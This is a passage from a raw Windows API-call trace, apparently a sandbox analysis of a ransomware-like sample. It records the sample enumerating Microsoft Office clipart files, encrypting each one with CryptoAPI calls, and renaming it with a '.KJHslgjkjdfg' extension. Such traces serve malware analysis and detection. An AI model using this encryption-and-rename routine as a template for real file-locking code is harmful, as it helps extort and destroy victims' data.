lpNumberOfBytesWritten=0x4dff270*=0x49e0, lpOverlapped=0x0) returned 1 [0231.770] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.770] SetEndOfFile (hFile=0x130) returned 1 [0231.773] GetProcessHeap () returned 0x2ef0000 [0231.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.773] GetProcessHeap () returned 0x2ef0000 [0231.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.kjhslgjkjdfg")) returned 1 [0231.775] CloseHandle (hObject=0x130) returned 1 [0231.776] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1 [0231.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.777] GetProcessHeap () returned 0x2ef0000 [0231.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.777] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.777] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0231.779] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.779] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.779] GetProcessHeap () returned 0x2ef0000 [0231.779] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.780] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.780] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.780] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.780] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x78af, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x78af, lpOverlapped=0x0) returned 1 [0231.782] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x78b0, dwBufLen=0x78b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x78b0) returned 1 [0231.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.782] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x78b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x78b0, lpOverlapped=0x0) returned 1 [0231.782] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.782] SetEndOfFile (hFile=0x130) returned 1 [0231.784] GetProcessHeap () returned 0x2ef0000 [0231.784] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.784] GetProcessHeap () returned 0x2ef0000 [0231.784] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.kjhslgjkjdfg")) returned 1 [0231.786] CloseHandle (hObject=0x130) returned 1 [0231.786] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1 [0231.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.787] GetProcessHeap () returned 0x2ef0000 [0231.787] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.787] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.787] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.788] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.788] GetProcessHeap () returned 0x2ef0000 [0231.788] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.788] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.788] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.788] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.790] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.790] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.791] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.791] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.791] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.791] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.791] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7450, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7450, lpOverlapped=0x0) returned 1 [0231.793] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7450, dwBufLen=0x7450 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7450) returned 1 [0231.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.793] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7450, lpOverlapped=0x0) returned 1 [0231.793] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.794] SetEndOfFile (hFile=0x130) returned 1 [0231.795] GetProcessHeap () returned 0x2ef0000 [0231.795] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.795] GetProcessHeap () returned 0x2ef0000 [0231.795] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.kjhslgjkjdfg")) returned 1 [0231.797] CloseHandle (hObject=0x130) returned 1 [0231.797] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1 [0231.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.800] GetProcessHeap () returned 0x2ef0000 [0231.800] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.800] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.800] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0231.803] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.803] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.803] GetProcessHeap () returned 0x2ef0000 [0231.803] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.803] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.803] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.803] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.803] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.803] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.803] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.803] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.804] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.804] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.804] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa343, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa343, lpOverlapped=0x0) returned 1 [0231.805] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa350, dwBufLen=0xa350 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa350) returned 1 [0231.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.806] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa350, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa350, lpOverlapped=0x0) returned 1 [0231.806] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.806] SetEndOfFile (hFile=0x130) returned 1 [0231.809] GetProcessHeap () returned 0x2ef0000 [0231.809] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.809] GetProcessHeap () returned 0x2ef0000 [0231.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.kjhslgjkjdfg")) returned 1 [0231.812] CloseHandle (hObject=0x130) returned 1 [0231.812] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1 [0231.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.813] GetProcessHeap () returned 0x2ef0000 [0231.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.813] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.813] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0231.815] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.815] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.815] GetProcessHeap () returned 0x2ef0000 [0231.815] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.815] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.815] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.815] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.815] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.815] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.815] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.815] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.816] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.816] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.816] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa445, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa445, lpOverlapped=0x0) returned 1 [0231.817] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa450, dwBufLen=0xa450 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa450) returned 1 [0231.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.817] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa450, lpOverlapped=0x0) returned 1 [0231.818] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.818] SetEndOfFile (hFile=0x130) returned 1 [0231.820] GetProcessHeap () returned 0x2ef0000 [0231.820] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.820] GetProcessHeap () returned 0x2ef0000 [0231.820] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.kjhslgjkjdfg")) returned 1 [0231.826] CloseHandle (hObject=0x130) returned 1 [0231.826] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, 